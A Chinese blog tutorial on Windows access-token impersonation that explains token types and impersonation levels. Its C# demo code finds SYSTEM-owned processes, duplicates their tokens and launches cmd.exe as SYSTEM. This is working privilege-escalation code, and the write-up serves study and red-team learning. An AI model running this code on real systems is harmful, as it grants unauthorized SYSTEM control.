从 pipePotato 中学习 Windows Access Token 令牌模拟

释放双眼,带上耳机,听听看~!
上周安全研究员 itm4n 发布了 PrintSpoofer 权限提升:https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/ ,经过分析 Github 上的代码(也可以看这篇360灵腾安全实验室发布的原理分析:https://www.anquanke.com/post/id/204510)大致成因是 spoolsv.exe 进程会注册一个 rpc 服务,任何授权用户可以访问他,同时攻击者可以利用Server names规范问题注册一个命名管道,而同时 System 用户访问该管道的时候,我们就可以模拟该 token 创建一个 System 权限的进程。下面就简单讲一下 Token 模拟的原理。

Windows Access Token 简介

Windows Token 其实叫 Access Token ( 访问令牌 ),它是一个描 述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个 Access Token,这个 Token 在用户创建进程或者线程 时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该 进程没有B用户的权限。
1. Access Token 种类
  • 主令牌( Primary 令牌 )
  • 模拟令牌( Impersonation 令牌 )
两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。
2. Access Token 的组成
  • 用户账户的安全标识符(SID)
  • 用户所属的组的SID
  • 用于标识当前登陆会话的登陆SID
  • 用户或用户组所拥有的权限列表
  • 所有者 SID
  • 主要组的 SID
  • 访问控制列表
  • 访问令牌的来源
  • 令牌是主要令牌还是模拟令牌
  • 限制 SID 的可选列表
  • 目前的模拟等级
  • 其他统计的数据

可以通过 whoami /user 命令查看当前的 SID

3. Windows Access Token的产生过程
使用凭据(用户密码)进行认证–>登录Session创建–>Windows返回用户sid和用户组sid–>LSA(Local Security Authority)创建一个Token–>依据该token创建进程、线程(如果CreaetProcess时自己指定了 Token, LSA会用该Token, 否则就继承父进程Token进行运行)
4. 编写一个模拟令牌 demo
首先了解下令牌的四个模拟级别,分别是:Anonymous,Identification,Impersonation,Delegation
  • Anonymous:服务器无法模拟或识别客户端。
  • Identification:服务器可以获取客户端的身份和特权,但不能模拟客户端。
  • Impersonation:服务器可以在本地系统上模拟客户端的安全上下文。
  • Delegation:服务器可以在远程系统上模拟客户端的安全上下文。
所以当令牌具有 Impersonation 和 Delegation 级别的时候才可以进行模拟。
有了令牌了,就需要进一步利用令牌做点事情,下述列出了三个通过用户身份创建进程的函数
函数 需要的特权 需要输入的值
CreateProcessWithLogon() null 域/用户名/密码
CreateProcessWithToken() SeImpersonatePrivilege Primary令牌
CreateProcessAsUser() SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege Primary令牌
言而总之,只要我们有 SeAssignPrimaryToken 或者 SeImpersonate 权限,就可以通过模拟 Primary 令牌来提升权限
而 Primary 令牌可以通过 DuplicateTokenEx 调用一个 Impersonation 令牌来转换。
所以一个模拟令牌的过程大概是:OpenProcess (获取目标进程上下文) ->OpenProcessToken (获得进程访问令牌的句柄) –> DuplicateTokenEx (创建一个主/模拟令牌) –> CreateProcessWithTokenW (创建进程)
 
接下来便要开始拓展一下“Token Kidnapping”技术了,https://msrc-blog.microsoft.com/2009/04/14/token-kidnapping/
在这篇报告中可以看出Token Kidnapping的核心:

所以,我们则需要对每个进程进行爆破,直到找到满足如下条件的进程:

  1. 进程运行用户是 SYSTEM
  2. 令牌级别至少是 Impersonation 级别
  3. 攻击者运行的权限至少拥有 SeImpersonatePrivilege

我在后面使用 C# 编写了一个 demo,大概执行过程我会在这里详细的介绍。并在文章末尾附上 Github 地址。

public static Boolean EnumerateUserProcesses()
        {
            Boolean rs = false;
            Process[] pids = Process.GetProcesses();
            Console.WriteLine("[*] Examining {0} processes", pids.Length);
            foreach (Process p in pids)
            {
                if (p.ProcessName.ToUpper().Equals("System".ToUpper())) {       //跳过进程名为"System"的进程
                    continue;
                }
                IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id);
                if (IntPtr.Zero == hProcess)
                {
                    hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes
                    if (IntPtr.Zero == hProcess)
                    {
                        continue;
                    }
                }
                IntPtr hToken;
                if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken))
                {
                    continue;
                }
                CloseHandle(hProcess);

                UInt32 dwLength = 0;
                TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS();
                if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
                {
                    if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))
                    {
                        continue;
                    }
                }

                String userName = String.Empty;
                if (!GetTokenInformationToUsername(tokenStatistics, ref userName))
                {
                    continue;
                }

                rs = token_elevation(hToken);
                if (rs)
                {
                    Console.WriteLine("模拟成功!PID:" + p.Id);
                    break;
                }
            }
            return rs;
        }
该 EnumerateUserProcesses 函数中依次获取当前系统的进程 PID,并获取对应的 Token 句柄传入 token_elevation 利用函数中。
同时在进程的两处 OpenProcess 函数,是为了绕过操作系统的Protect Process机制 ( 像csrss、smss进程 )
但是在传入 token_elevation 之前,利用两次 GetTokenInformation ( WIndows系统API ) 和 GetTokenInformationToUsername 来进行判断。
GetTokenInformation 函数检索指定令牌的相关信息,关于这里为什么要调用两次,是因为第一次调用是为了获取令牌信息需要的缓冲区的大小,这是在使用 Win32 API 中的一个常用做法, 很多 Win32 API 都可以这样使用, 目的是不用让程序员总是创建一个假设一定足够的缓冲区, 这在很多时候会造成空间上的浪费
而下一个判断函数 GetTokenInformationToUsername,则是利用 LookupAccountSid 来判断 SID 的用户是不是 SYSTEM
LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse);

            userName = lpName.ToString();
            if (!userName.ToUpper().Equals("System".ToUpper())) {
                return false;
            }

 接下来就是重头戏 token_elevation 函数

public static Boolean token_elevation(IntPtr hExistingToken) {
            IntPtr phNewToken;
            STARTUPINFO StartupInfo = new STARTUPINFO();
            PROCESS_INFORMATION procinfo = new PROCESS_INFORMATION();
            StartupInfo.cb = (UInt32)Marshal.SizeOf(StartupInfo);
            SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
            if (!DuplicateTokenEx(
                        hExistingToken,
                        Flags.TOKEN_ALL_ACCESS,
                        ref securityAttributes,
                        SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                        TOKEN_TYPE.TokenPrimary,
                        out phNewToken
            ))
            {
                return false;
            }
            Console.WriteLine("[+] Duplicate The Token!");

            //提升自身进程权限
            //if (!ImpersonateLoggedOnUser(phNewToken))
            //{
            //    return false;
            //}
            //Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name);

            if (CreateProcessWithTokenW(phNewToken, CREATE_FLAGS.LOGON_WITH_PROFILE, "C:WindowsSystem32cmd.exe", null, CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, IntPtr.Zero, ref StartupInfo, out procinfo))
            {
                Console.WriteLine("[+] SUCCESS");
                return true;
            }
            return false;
        }

函数中调用了 DuplicateTokenEx 转换成 TOKEN_TYPE.TokenPrimary ,也是 Primary 令牌。

并调用了 CreateProcessWithTokenW 创建了一个新的 cmd 进程

运行效果如下:

但是新建一个进程在虚拟终端中提权有些不便,后面看到冷逸师傅的 Github 上 (https://github.com/lengjibo/RedTeamTools/blob/master/windows/getsystem/GetSystem.exe) 的解决方案是通过命令管道来重定向新进程的输出

分析定位到代码

程序是由 https://github.com/yusufqk/SystemToken 改动之后,调用 CreatePipe 函数创建命名管道,并将重定向句柄传入 StartupInfo 结构体中

偷个懒,我就也利用源码自己照着 IDA 上的伪代码自己写了个 demo

运行后如下:

我将 C# 代码和 C++ 代码都放到我的GIthub上开源了:https://github.com/sf197/TokenPrivilege_Demo

Reference:

  1. https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/
  2. https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp
  3. https://github.com/0xbadjuju/Tokenvator/
  4. https://github.com/NetSPI/MonkeyWorks

 首发:https://www.anquanke.com/post/id/204721

在写博客的过程中貌似发现了一处降权后的操作导致无法以管理员运行程序的问题

WEB安全漏洞

Discuz!X <=3.4任意刪除漏洞

2020-6-7 21:27:11

渗透教程漏洞

Python 编程之 Socket 编程基础

2020-6-13 19:27:54

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
有新私信 私信列表
搜索